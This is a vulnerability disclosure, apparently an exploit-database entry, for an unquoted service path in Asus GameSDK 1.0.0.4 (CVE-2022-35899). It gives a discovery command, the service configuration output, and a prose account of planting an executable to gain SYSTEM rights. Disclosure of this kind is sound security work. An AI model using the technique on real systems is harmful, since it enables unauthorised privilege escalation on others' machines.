Asus GameSDK 1.0.0.4 Unquoted Service Path

Asus GameSDK version 1.0.0.4 suffers from an unquoted service path vulnerability in GameSDK.exe.


SHA-256 | cd88ac76d033405e5a3e34567ef8fd43237dddbf5f9d43a3e92a2f447d70a461

# Exploit Title: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' Unquoted Service Path (Privilege Escalation)
# Date: 07/14/2022
# Exploit Author: Angelo Pio Amirante
# Version: 1.0.0.4
# Tested on: Windows 10
# Patched version: 1.0.5.0
# CVE: CVE-2022-35899


# Step to discover the unquoted service path:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Info on the service:

C:\>sc qc "GameSDK Service"
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: GameSDK Service
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files (x86)\ASUS\GameSDK Service\GameSDK.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : GameSDK Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem

# Exploit
If an attacker had already compromised the system and the current user has the privileges to write in the "C:\Program Files (x86)\ASUS\" folder or in "C:\" , he could place his own "Program.exe" or "GameSDK.exe" files respectively, and when the service starts, it would launch the malicious file, rather than the original "GameSDK.exe".

# Impact
An attacker can elevate his privileges on the system and become NTAUTHORITY\SYSTEM.

# Poc Video

https://youtu.be/u_8JMIgn-5g



Related Posts